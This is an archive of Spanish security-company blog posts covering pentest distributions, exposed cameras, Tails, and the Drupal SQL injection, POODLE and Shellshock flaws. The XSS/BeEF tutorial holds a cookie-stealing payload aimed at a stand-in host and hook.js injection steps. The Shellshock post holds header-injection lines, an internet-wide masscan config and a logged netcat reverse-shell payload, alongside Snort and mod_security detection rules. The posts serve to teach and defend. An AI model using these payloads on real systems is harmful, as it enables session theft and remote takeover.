Author Archives: pablomartinez

  • 0

Distribuciones para pentesting

Distros para todo

Hasta ahora habíamos hablado de algunas aplicaciones o distribuciones para practicas de pentesting tales como DVWA o BadStore. En estas distribuciones los distribuidores de las mismas incluyen vulnerabilidades para practicar con todo tipo de fallos, pero no habíamos hablado de soluciones de seguridad integradas.
Existen multitud de programas o distribuciones que ayudan a las personas que quieren introducirse en el mundo de la seguridad informática.
La idea de todas ellas es simple:
Tenemos primero un sistema operativo, generalmente Linux, que se arranca directamente desde un CD/DVD. Este tipo de estructura tiene sus ventajas, quizás la más importante es que al no tener que estar con lo que podemos arrancarlo en cualquier sitio y lugar y no perder los datos o sistemas que usamos normalmente.
La segunda característica es que vienen cargados de herramientas. Los hay de, llamemos le “propósito general”, que tienen herramientas para realizar cualquier tipo de ataque/defensa. También los hay mas especializados con herramientas muy especificas para actividades en concreto.

Soluciones de seguridad integradas

Bugtraq

La distribución de seguridad mas famosa de todos los tiempos. Esta distribución es de las llamadas de “propósito general”, tiene cientos de herramientas que a más de uno nos ha ayudado mucho.
Bugtraq

Kali linux

Kali es un proyecto que nació a partir de otro también conocido, Back track. La gran diferencia entre ambos es que Kali está basado en Debian mientras que BackTrack está basado en Ubuntu. Así que, básicamente es una distribución debian con unos repositorios repletos de herramientas para la auditoría informática.
Kali linux

BackBox

BackBox es una distribución Linux basada en Ubuntu Proviene con una interface de escritorio KDE y por supuesto podemos lanzar la imagen en modo live por ejemplo en una máquina virtual. Parece lo suficientemente ligera y con una interface bien pensada como para hacerse un hueco dentro de las distribuciones pensadas para este tipo de uso.
http://www.backbox.org/

Ventajas

Estas distribuciones cumplen con su función al 100% y no hay que actualizar los repositorios, ni hacer instalaciones de software de terceros adicionales para que funcionen, garantizo que incluyen herramientas que le harán dudar en si usar una distribución u otra, por el aspecto, el escritorio o cualquiero otro detalle, pero no en cuanto a herramientas ya que en todas se incluye el software necesario. Se puede guardar en un CD/DVD y usarse si detecta por ejemplo algún problema, estas distribuciones pueden ayudarle a descubrir si está sufriendo algún ataque o su sistema ha sido vulnerado y como ya comentamos sin instalación alguna.

Inconvenientes

Evidentemente, siempre hay alguno. No siempre incluyen los drivers más antiguos y tampoco muchas librerías extra. Así pues, para instalarlo como sistema es recomendable tener conocimientos del sistema Linux, a la hora de configurar aplicaciones, que no están por así decirlo, en el entorno de la distribución.
 

Video Overview BackBox

Os dejo un video de como se instala y un vistazo de BackBox, que al fin y al cabo es la más nueva de las tres, en el entorno de virtualización VirtualBox
BackBox Linux 3.13 Install and overview | Try to get back your box [HD]

 


  • 0

Miles de camaras de vigilancia de todo el mundo “hackeadas”

 

www.insecam.cc

Hay un sitio muy curioso en Internet www.insecam.cc donde se pueden ver miles de cámaras web “hackeadas”. Lo pongo entre comillas porque en realidad son cámaras web con una seguridad nula o passwords por defecto. Solo de España, hay registradas más de 370 cámaras de vigilancia de este tipo en esta web.

Estas cámaras están instaladas tanto en lo que parecen negocios particulares como interior de hogares. Desconocemos si los dueños de estas cámaras son conocedores de esta situación. Por favor si alguien identifica un sitio debería comunicárselo a esa persona lo antes posible.

 

 

El FAQ de insecam viene a resumirse en esto:

  • Por supuesto es sitio web dará inmediatamente de baja el streaming en cuanto usted así se lo indiquen.
  • Este sitio solo colecciona cámaras de videovigilancia y de grabación digital, no de webcams o dispositivos usb.
  • Estas cámaras no han sido hackeadas, por alguna razón sus dueños han dejado las passwords por defecto

Hay que reconocer que tiene sentido el que ellos mismos consideren que no han sido hackeadas, ya que ningún mecanismo de seguridad ha sido violado. Simplemente la puerta se abre, porque estaba mal cerrada.

¿Tiene usted una cámara de videovigilancia?

Tiene usted una cámara web de vigilancia , quizás sea posible usted desconoce que realmente se está publicando en Internet parte de su vida privada o el interior de su negocio, vivienda, etc.
www.insecam.cc/cam/bycountry/ESSelección_001

No queremos asustar a nadie, pero tristemente, es buena idea securizar este tipo de cámaras. Tiene que estar atento por que muchos cacos podrían obtener información muy importante sobre usted, su negocio o empresa, de una forma demasiado cómoda para ellos, ya sea  desde su casa o desde el sofá. A partir de esos datos pueden estudiar su comportamiento y su costumbres cotidianas para asaltar su casa o su negocio en el momento más propicio.

Desde TeamSec recomendamos el uso para la protección de estos sistemas y somos especialistas en ellos, pero su mala configuración y uso pueden conseguir el efecto contrario. Los sistemas de videovigilancia son un elemento muy importante en la seguridad física de cualquier empresa, aun así, una mala instalación o configuración pueden hacer que este elemento no cumpla sus objetivos. Estaremos encantados de asesorarle.


  • 0

Lanzada la ultima versión de la distribución para la privacidad Tails 1.2

Tails una distribución linux preparada para la privacidad y el anonimato

Hace un par de semanas, se presentó Tails 1.2, una distribución Linux, basada en Debian, especialmente pensada para la privacidad y el anonimato. Tails viene con paquetes instalados por defecto y preconfigurados para su uso con la red Tor y mayormente pensados para no dejar rastros de la navegación. Además se utiliza en modo live. Esto significa que se arranca desde una máquina virtual , una memoria SD, USB, un cd, o dvd a nuestro gusto y/o alcance con lo que no se dejan trazas de arranque, uso o cualquier log que pueda delatar lo que se hace y como.

Los principios en que se basa Tails:

  • El anonimato en línea y evasión de la censura con Tor
  • Se puede utilizar cualquier lugar, para no dejar rastro
  • Hace uso de herramientas criptográficas avanzadas

Tails utiliza Tor como vía para las comunicaciones, si una aplicación dentro de Tails intenta conectarse a Internet sin ser a través de Tor, esta será bloqueada, así que todo el tráfico de entrada y salida que se realiza es únicamente a través de esta red. Esto evita que quien quiera preservar su anonimato pueda desvelar su identidad por un error o descuido al no levantar sus propias medidas de seguridad o desconocer que ha sido infectado por algún tipo de malware que pudiese revelar su dirección IP.
Además Tails, se ejecuta por completo en la memoria RAM y evita utilizar cualquier disco físico de la máquina que lo aloja, para asegurarse, además de no dejar rastro, para ello cuando se apaga, borra la memoria RAM.

Tails puede ser una solución eficaz para la utilización de herramientas de red en entornos de red inseguros, donde no tengamos privacidad. Como herramienta anticensura en países que vigilen las conexiones a Internet con ánimo de censurar o espiar. En situaciones de riesgo por espionaje industrial y en cualquier otra situación donde el usuario se vea bajo la amenaza de verse comprometida su seguridad, sus comunicaciones o sus datos.
La herramienta de cifrado que viene preconfigurada en Tails es LUKS, que permite el cifrado fuerte de discos externos como dispositivos de memoria USB.

Tails privacidad a golpe de USB

Con todas esta herramientas de red y criptográficas, podemos afirmar que Tails es una solución bastante elegante para solventar este tipo de situaciones, es más, casi podría decirse que con el tiempo podría convertirse en un standard para la navegación anónima, puesto que no se limita solamente a borrar la actividad en la red, sino la de la propia máquina desde donde se realiza dicha actividad.

Tail esta basado en DebianGNU/Linus. En la imagen, el escritorio por defecto XFCE4, funcionando el TorBrowser y el monitor de ancho de banda de Vidalia/Tor.

Teail en funcionamiento

Esta versión parece que ha solventado algunos de los problemas de seguridad, que paradogicamente presentó en su versión anterior. Poco a poco parece que Tails, se esta haciendo un hueco dentro de las herramientas del mundo de la ciberseguridad.

Un sistema operativo completo, que ofrece seguridad y anonimato, que contiene potentes herramientas de cifrado, que cabe en un USB y se puede ejecutar en prácticamente cualquier ordenador de forma fácil y sencilla.

Más info:
https://tails.boum.org/about/index.en.html


  • 0

Diario de un exploit crítico. Vulnerabilidad Drupal 7.32

Cada día salen a la luz nuevas vulnerabilidades mas o menos fáciles de explotar.

Estas vulnerabilidades o bugs pueden afectar de diferente manera a los servicios que ponemos en la red. Cada vez mas, se reduce el tiempo desde que se hace publica una vulnerabilidad hasta que esta es explotada de una manera “industrial” para conseguir algún tipo de beneficio.
Lo que vamos a contar ahora es una ejemplo de esta rapidez y lo que puede llegar a hacer para una plataforma que es comprometida.

Día 0, un pentester, hacker o como quiera llamarlo descubre una vulnerabilidad en un código y lo publica en internet

Los primeros datos apuntan a que la vulnerabilidad encontrada afecta a un software muy extendido de creacion de blogs y paginas webs llamado Drupal. Esta vulnerabilidad a las versiones 7.31 y 7.32. En el siguiente video aparece un chico asiático, Pichaya Morimoto, describiendo esta vulnerabilidad en el CORE de Drupal 7.31. En el vídeo está utilizando herramientas como son plugins para la navegación, creemos que hackbar, un editor de textos para ver el código y alguna herramienta más como burp suite, además hace uso de una máquina para pruebas. Sí, más o menos, así es como los pentesters descubren la mayoría de los fallos, trabajando en encontrarlos. El vídeo está en en Tailandés, supongo, así que recomendamos poner los subtítulos en inglés.

 

Día 1, alguien ve el vídeo o encuentra la vulnerabilidad publicada y desea crear una script que la explote

Esta vulnerabilidad podría hacer que un atacante cambiase la clave del administrador del CMS, consiguiendo por supuesto el control total sobre el contenido del mismo. Por supuesto, no han tardado mucho en sacar un script que pueda explotar esta vulnerabilidad de forma casi inmediata, que el core de Drupal sea la versión 7.31 o 7.32 no importa, porque la vulnerabilidad es la misma. Drupal no ha parcheado o no se ha enterado hasta la fecha.

< ?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   __ / _ / //_/ __/ / __ / __ / __/ / / __ / ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/___/_/|_|__/_/____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·
  
include 'common.inc';
include 'password.inc';
[resto del codigo]  

 

Día 2, A partir de este día muchas webs empiezan a verse afectadas

Una vez echo publico el bug, un “chico malo” un poco listo, piensa que “¿por que no lo explotamos para poner nuestras cosas?”. Dicho y echo, la tarea de automatizar la explotación de la vulnerabilidad y poner o modificar los contenidos de estas webs es un juego de niños para esta gente.Para tener una lista mas o menos actualizada de webs vulnerables se valen de repositorios públicos de este tipo de datos como Shodan.

Una vez tienen el sistema de automatización creado con la lista de maquinas vulnerables, solo falta lanzar lo a la red para explotar esos sistemas.

Las páginas web aparecen defaceadas o con cosas que no deberían estar publicadas y algunos usuarios enfadados porque la página ha desaparecido. Los malos, hacen uso de herramientas automatizadas o simplemente realizan el ataque manualmente.

Muchos clientes contactan con sus respectivos servicios de soporte del hosting, que además les dirá que es un problema de seguridad del CMS y que no es problema de ellos, que reinstales la página web y/o los backups.

Día 3, TeamSec empieza a recibir llamadas para securizar la web Drupal

Para una empresa o particular que su negocio dependa de Internet es un problema muy serio tanto por el tiempo perdido como por el dinero que puede costar la reparación o recuperación. Estos costes suponen que los responsables sepan reinstalar y/o recuperar un backup. De no ser así deberían de contratar a alguien que pueda realizar esas tareas. Deberá de comprobar que una vez recuperado el sistema vuelve a su estado anterior, eso si contar que puede perder datos por el camino.

En resumidas cuentas para una empresa le supone asignar recursos que se dedican a otras tareas para resolver el problema. Mientras que el problema persiste se esta perdiendo dinero.

Este tipo de ataques se producen en un tiempo muy corto desde que se descubre la vulnerabilidad hasta que se se automatiza y empieza a afectar a toda clase de servicios. Dado este corto periodo de tiempo, comprendemos que los administradores, o gerentes de las empresas no tienen tiempo para estar al tanto de los problemas de seguridad que pueden afectar a su plataforma, con llevar el día a día de la empresa tienen mas que suficiente. Ahí es donde entra en juego las empresas de seguridad lógica con un nutrido grupo de profesionales que están al tanto de las noticias, fallos, y demás anomalías que pueden afectar a su plataforma.

Como hemos comentado en mas de una ocasión, a Vd como empresa no les atacan por que se dediquen a esto o a lo otro, o por que tenga una mejor o menor publicidad, simplemente le atacan a su empresa por que han descubierto que su empresa es vulnerable. Aquí es donde entra en juego las empresas de seguridad. Vd se gasta dinero en puertas de entrada a sus oficinas cada vez mas seguras, en cerraduras infranqueables, etc. Si Vd tiene una pagina web, blog o escaparate en Internet, estas también tienen que estar protegido como sus oficinas. Por que al final es la cara y parte de su Marca que presenta al mundo.

TeamSec le puede ayudar en estas tareas. Le ahorrara tiempo al no tener que preocuparse de la seguridad integrar de su empresa. Le ahorrara dinero evitando que sus sistemas tengan fallos o estos sean explotados por personal ajeno que le supondrían un problema de imagen de Marca, Reputación, posibles demandas, etc, que al final se traduce en dinero. Contamos con el mejor equipo de expertos en seguridad que le ayudaran ahorrarse dinero evitando que le pasen problemas.

 

Más info sobre esta vulnerabilidad calificada con categoría de riesgo muy alto:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE: 2014-3704


  • 0

Poodle RIP SSL. La última y definitiva vulnerabilidad de SSL

This POODLE bites!

Menudo año llevamos, desde el heartbleed, luego el shellshock y ahora nada más y nada menos que Poodle, una vulnerabilidad que según los técnicos de Google que la han descubierto, Möller Bodo, Duong Thai y Kotowicz Krzysztof parece que enterrará un proyecto con 15 años de historia y que además supone uno de los pilares fundamentales de las comunicaciones seguras de hoy en día.

Básicamente, los servidores de Internet ofrecen a sus clientes la última versión de su protocolo de comunicación segura, es entonces cuando comienza una danza de downgrade. Esto quiere decir que si un programa cliente intenta conectarse, el servidor comprueba cual es la última versión que el programa cliente soporta, y seguidamente continuar con la comunicación, pero si falla muchas veces ofrecerá una versión más antigua.

Esto mismo ocurre si se están produciendo errores en la red, que también podrían ser causados por atacantes maliciosos. Para ser más exactos, un atacante podría provocar que esos intentos de reconexión acaben por hacer que el cliente utilice una versión muy antigua de algún protocolo,como por ejemplo SSL v3, a través de un ataque man in the midle y en combinación con un ataque sobre la criptografía durante la comunicación, ya conocidos para SSL v3, haciendo que finalmente que el protocolo sea inseguro.

El cifrado de SSL v3 utiliza RC4 cipher, un tipo de cifrado en bloques, no vamos en entrar en detalles, pero en resumen, se pueden realizar dos ataques conocidos sobre este tipo de criptografía como son BEATS y Lucky-13. La intercepción previa de las comunicaciones y la modificación de estos bloques durante la negociación del protocolo, son la clave de estos ataques. Abajo he dejado un enlace que describe el ataque Lucky-13.

Soluciones al problema

    • Deshabilitar SSL 3 por el momento en las aplicaciones que lo permitan dado que no tiene arreglo por el momento.
    • OpenSSL 1.0.1 debería upgradarse a 1.0.1j.
    • OpenSSL 1.0.0 debería upgradarse a 1.0.0o.
    • OpenSSL 0.9.8 debería upgradarse a 0.9.8zc.
    • Servidores y clientes deberían soportar la opción TLS_FALLBACK_SCSV para prevenir los ataques de downgrade
    • En Firefox cercionarse de que la opción (entrando en about:config) security.tls.version.min tenga un valor igual a 1

¿Y ahora que hacemos?

Pues no nos va a quedar más remedio que evitar la inseguridad y dejar de utilizar este protocolo que por cierto ya tiene 15 años de historia, en favor de otros, como TSL 1.2. El cambio provocará algunas molestias, pero no será dramático.

Artículos originales:

https://www.openssl.org/~bodo/ssl-poodle.pdf
Descripción del ataque Lucky-13
http://www.isg.rhul.ac.uk/tls/Lucky13.html


  • 0

Introducción a XSS y BeEF

The Browser Explotation Framework Project

 

 

Introducción a XSS

Técnicamente, una inyección de código XSS se produce cuando un atacante envía código malicioso a través de un formulario de una página web y esta web responde mostrando información que no debe porque el servidor ha interpretado esa entrada como un script y lo ha ejecutado, cosa que no debería pasar. Sin embargo el XSS Cross-site Scripting es una de las principales amenazas y más extendidas dentro de la web. Permitiendo una variedad de ataques que se han ido perfeccionando con el tiempo y han dado lugar a que aparezcan herramientas como beef, completos frameworks que mal utilizados puedes ser usados para fines antitéticos fraude, robo de información, etc.

 

Peligros, ¿Que podría un atacante conseguir inyectando código malicioso en una página web?:

  • Control sobre el navegador de la víctima
  • Reversering
  • Robo información
  • Robo de contraseñas
  • Robo de cookies de sesión
  • Defacement
  • Utilizar el navegador de una víctima como proxy web
  • DNS Tunneling
  • Inutilización de la web
  • Descubrimiento de red
  • Redirecciones o reenvío de mails
  • Etc…

La mayoría de las webs contienen formularios, ya sean formularios de login, o simples formularios de contacto, o firma. Estos formularios son procesados por el navegador como el resto de la página, por lo tanto estos formularios son susceptibles de recibir una información que luego mostrará interpretándose por el servidor web, para luego mostrarse en la página.

Tipos de Inyecciones XSS

Existen tres tipos de inyecciones XSS:

Tipo Indirecto o Reflejado

Cualquier formulario que permita la inyección de código que luego será interpretado por el servidor, en muchos casos mostrando incómodos mensajes y/o mostrando información que no se debería mostrar, el resultado de la inyección se ve “reflejado” directamente en el navegador.

Persistente

Se da en casos, donde hay un formulario que mostrará la información enviada a través de él cada vez que se cargue la página. Son las más peligrosas, puesto que persisten, en la página. Son típicos formularios de foros y firmas que luego verán los demás usuarios.

DOM Based XSS

Es cuando el la infección se realiza modificando la configuración del navegador de la víctima a través de el script inyectado. Document Objet Module, es una api que usan los navegadores web para presentar y/o modificar la información de documentos XML y HTML y este tipo de infección utiliza esta api para infectar el navegador.

Un ejemplo de los peligros de robo de la cookie de sesión, imaginemos este código inyectado dentro de las etiquetas <script>/script>

href=# onclick="document.location='http://maliciososite.com/xss.php?c='+escape(document.cookie);">Hello!!!

Esto podría hacer que un usuario pulsase inconscientemente en este link, que envía la cookie generada a un sitio web deseado por el atacante permitiéndole suplantar la sesión. Como se ve maliciososite.com/xss.php?c= recibiría por método $POST “c” la cookie del usuario que pulsase ese enlace. Normalmente estos sitios web, han sido “secuestrados” por ciberdelincuentes que están recolectado datos de incautos usuarios, incluso guardándolos en la base de datos de la propia web.

BeEF The Browser Explotation Framework

beefproject.com es una herramienta que nos permite automatizar este proceso de inyección, permitiendo utilizar un framework para interactuar con el navegador infectado. BeEF hace uso de un script llamado “Hook.js” que actúa como nexo de unión entre el atacante y el navegador de la víctima ejecutando las instrucciones mediante javascript.

La instalación de beef es muy fácil, solo hay que instalarlo desde GitHub y ejecutarlo:

git clone https://github.com/beefproject/beef
cd beef
install bundle
./beef

Una vez esta instalado podemos empezar a utilizar el framework. Por defecto escucha en el puerto 3000, así que abrimos el navegador http://localhost:3000/ui/panel e introducimos como usuario “beef” y contraseña “beef”.
Una vez tenemos el programa beef corriendo, tenemos que inyectar código en alguna web y que sea persistente el xss para que cuando alguien cargue dicha página reciba la carga en su navegador.

Beef mostrará las interfaces en las que esta corriendo y las urls del panel y de hook.js:

[22:48:55][+] running on network interface: 127.0.0.1
[22:48:55]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:48:55]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:48:55][+] running on network interface: 192.168.1.117
[22:48:55]    |   Hook URL: http://192.168.1.117:3000/hook.js
[22:48:55]    |_  UI URL:   http://192.168.1.117:3000/ui/panel
[22:48:55][+] running on network interface: 25.0.3.5
[22:48:55]    |   Hook URL: http://5.0.3.5:3000/hook.js
[22:48:55]    |_  UI URL:   http://5.0.3.5:3000/ui/panel
[22:48:55][+] running on network interface: 10.0.0.14
[22:48:55]    |   Hook URL: http://10.0.0.14:3000/hook.js
[22:48:55]    |_  UI URL:   http://10.0.0.14:3000/ui/panel

De esta forma el usuario que visite la web con la inyección “TeamSec<script src=”http://192.168.1.117:3000/hook.js”>” quedará automáticamente infectado si no posee protección alguna.

Prueba concepto contra DVWA, ver post Dam Vulnerable apps

Reflected XSS

xss1xxs

Ahora vamos a probar contra el xss stored o persistente

He tenido que acortar la inyección ya que dvwa no permite introducir más de 50 caracteres en el formulario, así que http://192.168.1.117:3000/hook.js no cabía, lo he resuelto gracias al acortador de urls bitly
De esta forma cada vez que alguien cargue la página abrirá una conexión contra beef, además no se habrá dado cuenta, aparece el mensaje TeamSec y el script se carga en el navegador, no se detectará un comportamiento anómalo si no se dispone de protecciones.

xxs3beef

 

 

 

 

 

 

 

 

 

Beef tiene funcionalidades tan maliciosas como poder encender la webcam del ordenador infectado. Ofrece al usuario infectado la posibilidad de activar su web cam vía web, si este cae en la trampa, su webcam se activará mostrando al atacante la imagen de la víctima o de los objetos que rodean al ordenador.

Ejemplo de falso timeout session prefabricado para Facebook

Beef es una aplicación de pentesting que salta las barreras de seguridad en mayor medida con ayuda del propio usuario. Tenga en cuenta que la mayoría de usuarios desconocen los entresijos de la programación web y el funcionamiento propio de internet, es por esto que beef ofrece una serie de módulos que nos facilitarán la tarea, de la ingeniería social.

Módulos de beef especialmente maliciosos para hacer ingeniería social ¿No tiene las credenciales?. Pregúntaselas al usuario:

  • The Pretty Theft Este módulo muestra un mensaje explicando que la sesion del usuario ha expirado y debe introducir de nuevo su login y password.
  • The Simple Hijacker Este modulo trae un montón de plantillas para distintas ingenierías sociales, que se mostrarán cuando el usuario haga click en un enlace
  • Clippy Crea un pequeño asistente para “actualizar” el navegador

Muchos usuarios pican en estas trampas, cediendo todo tipo de credenciales, datos privados y claves de sus cuentas con las principales redes sociales.

Cualquier web que haya sido inyectada pasa de ser un sitio inofensivo a uno atacante, pudiendo crear muchas molestias a los usuarios, que aunque no hayan visto afectados sus navegadores, es posible que sí puedan ver mensajes emergentes, alertas, etc.

Como prevenir los XSS injection

Del lado del cliente, existen distintos métodos. Es buena idea usar proxys que filtre información o filtros web como NoScript, que se instalan en el navegador.

Del lado del servidor, como siempre los fallos en su mayoría provienen de errores de programación, es buena idea usar frameworks para el testeo a nivel de código antes de poner software en fase de producción. La falta de firewalls y filtros para xss facilitarían la tarea de la búsqueda de fallos por parte de los atacantes y que además no se impida la redirección a sitios maliciosos.
Aconsejamos tener como referencia la guía de OWASP para prevención de XSS. OWASP_Prevention_Cheat_Sheet

La política del mismo origen previene que un documento o script cargado en un “origen” pueda cargarse o modificar propiedades del documento desde un “origen” diferente. Se trata de uno de los conceptos de seguridad más importantes de los navegadores modernos y que se debería seguir implementándose de la misma forma cuando se desarrolla aplicaciones web.

Hasta aquí se muestra un poco, lo que puede hacer, con esta herramienta, instalada y configurada. Imagine por un momento que esa web es la suya o la de su organización. En su web el delincuente ha entrado y le ha dejado de “regalo” una instalación totalmente funcional del Beef. No ha modificado nada o por lo menos no es consciente de esa modificación pero lo suficiente para que sus clientes no se den cuenta que están siendo infectados cuando acceden a su pagina.

En TeamSec estaremos encantado de asesorarles sobre como prevenir este tipo de ataques e eliminarlos por completo dado que disponemos profesionales especializados y altamente experimentados.


  • 0

Shellshock. Vulnerabilidad encontrada en Bash

ShellShock

La vulnerabilidad llamada CVE-2014-6271o y CVE-2014-7169 o mas conocida como “Shellshock” se publico el día 24/09/14 y pronto salto a las webs y blogs especializados en seguridad. Poco mas tarde al darse cuenta del alcance de la vulnerabilidad salto a los medios de comunicación.

Figura 1: Ejemplo de la noticia en un medio de comunicación "de masas".

Figura 1: Ejemplo de la noticia en un medio de comunicación “de masas”.

Esta vulnerabilidad consiste en usar variables para engañar a un shell tipo bash para que ejecute cualquier tipo de programa o comando. Esta vulnerabilidad afecta a todos o casi todos los sistemas operativos que deriven de unix. Afectando a cualquier servicio que corren en dichos sistemas operativos, como servidores webs, servidores DHCP,  etc. Desde TeamSec les recomendamos urgentemente actualizar sus servidores con los parches del proveedor.

Esta vulnerabilidad es tan critica y se explica por que se la ha catalogado como nivel 10, que es el mas alto, de la escala CVSS v2. Esta escala indica por un lado si la vulnerabilidad es explotable desde el exterior, luego si es fácil de explotar y por último si su explotación pone en peligro la integridad del sistema vulnerable. Esta vulnerabilidad según su rango, es muy fácil de explotar, ademas de ser explotable desde el exterior y su explotación pone gran peligro la integridad del sistema.

Este fallo, en resumen, puede permitir a atacantes malintencionados tomar fácilmente el control de servidores web. Servidores con sistema operativo que usan bash, como linux, MacOS o BSD podrían verse afectados en especial los que tengan servicios de Internet expuestos.

 

¿Cuantos servidores pueden estar afectados?

A modo de ejemplo, y para hacernos una idea de a cuantos servidores puede afectar, en la siguiente gráfica de Netcraft podemos ver el tanto por ciento de utilización de los diferentes servidores webs que están activos. Los datos son de Septiembre del 2014.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Según esos datos, podríamos decir que podrían estar afectados mas del 50% del total de servidores en el mundo.

¿Como saber si un servidor es vulnerable?

En principio es fácil basta en una shell del sistema ejecutar esta pequeña linea.

env x='() { :;}; echo Si sale esta linea su sistema es vulnerable' bash -c "echo Esto es un Test"

La ejecución de esta linea en un sistema vulnerable a este problema seria parecido a esto.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

En cambio, si por el contrario nuestro sistema no es vulnerable nos saldría solo la linea “Esto es un Test”, como podemos comprobar en el siguiente ejemplo.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Ataque tipo vía web

Lo que hemos visto anteriormente era como desde una cuenta local se comprobaba si el servidor era vulnerable. Pero como hemos indicado anteriormente, no solo esta vulnerabilidad puede ser explotada localmente, también puede ser explotada remotamente. Y no hay mejor ejemplo que ver como se puede explotar en un servidor web.

Debe quedar claro, que es un ejemplo el ataque a un servidor web. No solo este tipo de servicios son vulnerables sino que lo son cualquiera que pueda recibir parámetros vía el exterior, como un servidor DCHP, SSH, etc.

Existen una cantidad ingente de exploits que se valen de esta vulnerabilidad para llegar a tener un control total sobre los sistemas vulnerables. Un  ejemplo de este tipo de exploits lo podemos encontrar en esta URL:

http://pastebin.com/search?cx=013305635491195529773%3A0ufpuq-fpt0&cof=FORID%3A10&ie=UTF-8&q=CVE-2014-6271&sa.x=12&sa.y=11

De una manera mas “manual”  el ataque a un servidor web se realiza ademas de metiendo la inyección en la propia petición GET, también se puede realizar en cualquiera del resto de campos que se envían al realizar la solicitud.

Por ejemplo, una solicitud normal a un servidor web seria:

Host: x.x.x.x
Accept: */*
Cookie: NO-Cookie
Referer: http://google.com
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

En cambio si queremos explotar esta vulnerabilidad seria de la siguiente manera:

Host: x.x.x.x
Accept: */*
Cookie: () { :; }; /bin/ping -c 1 
Referer: () { :; }; /bin/ping -c 1 
User-agent: () { :; }; /bin/ping -c 1 

Si esto lo queremos meter en un script para poder comprobar si la red que administramos es vulnerable seria tan sencillo como realizar las pruebas con los siguientes parámetros usando el siguiente script https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120. Eso si, cambiando el valor de la variable “target” por nuestra red, y la IP “1.2.3.4” por una IP de una maquina que controlemos para monitorizar los paquetes ICMP que recibirá de las maquina vulnerables.

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = Shellshock Scan-TeamSec (http://teamsec.es/blog/)
http-header = Cookie:() { :; }; ping -c 3 1.2.3.4
http-header = Host:() { :; }; ping -c 3 1.2.3.4
http-header = Referer:() { :; }; ping -c 3 1.2.3.4

¿Como podemos monitorizar estos ataques?

Como ejemplo de log del Apache de un ataque de este tipo, podemos ver en la siguiente linea intentan explotar la vulnerabilidad ejecutando como comando un shell inverso a la maquina del atacante al puerto 4444 (/bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &).

XXX.XXX.XXX.XXX - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { v:; }; /bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &”

Para monitorizar este tipo de ataques dependemos del tipo de plataforma que usemos para dicha monitorización. Por ejemplo, nosotros tenemos una plataforma que hace poco la hemos instalado en un cliente que a traves de una serie de sondas monitoriza toda su red.

Ejemplos de este tipo de reglas para la sonda Snort que hemos implementado son:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"%3D%28%29+%7B"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31975; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_client_body; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31976; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31977; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31978; rev:3;)
alert udp $HOME_NET 67 -> $HOME_NET 68 (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in DHCP server"; flow:stateless; content:"() {"; fast_pattern:only; content:"|02 01 06 00|"; depth:4; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service dhcp; reference:cve,2014-6271; reference:cve,2014-7169; classtype:attempted-admin; sid:31985; rev:3;)

Mitigación

La principal medida de minimizar los riesgos es la instalación del parche correspondiente. Puede haber sistemas que por la razón que sea, no existe el parche, es un sistema critico que debe pasar una serie de controles antes de la instalación de un parche, etc, nos es imposible el parcheo. En estos casos se podrían implementar contramedidas que paliaran en lo posible un hipotético ataque a la plataforma.

Apache con mod_security

Si disponemos de un servidor Apache con el modulo Mod_security, podemos añadir estas lineas en la configuración para mitigar en la medida de lo  posible este tipo de ataques:

# ShellShock bash vulnerabilidad CVE-2014-6271 y CVE-2014-7169
RewriteCond %{HTTP_USER_AGENT} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_REFERER} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_COOKIE} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_HOST} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_FORWARDED} (()s{s+:s*;s*}s*;)
RewriteRule Block_This_URL - [F,L]

Modificando las varibales que se cargan en el shell .bashrc

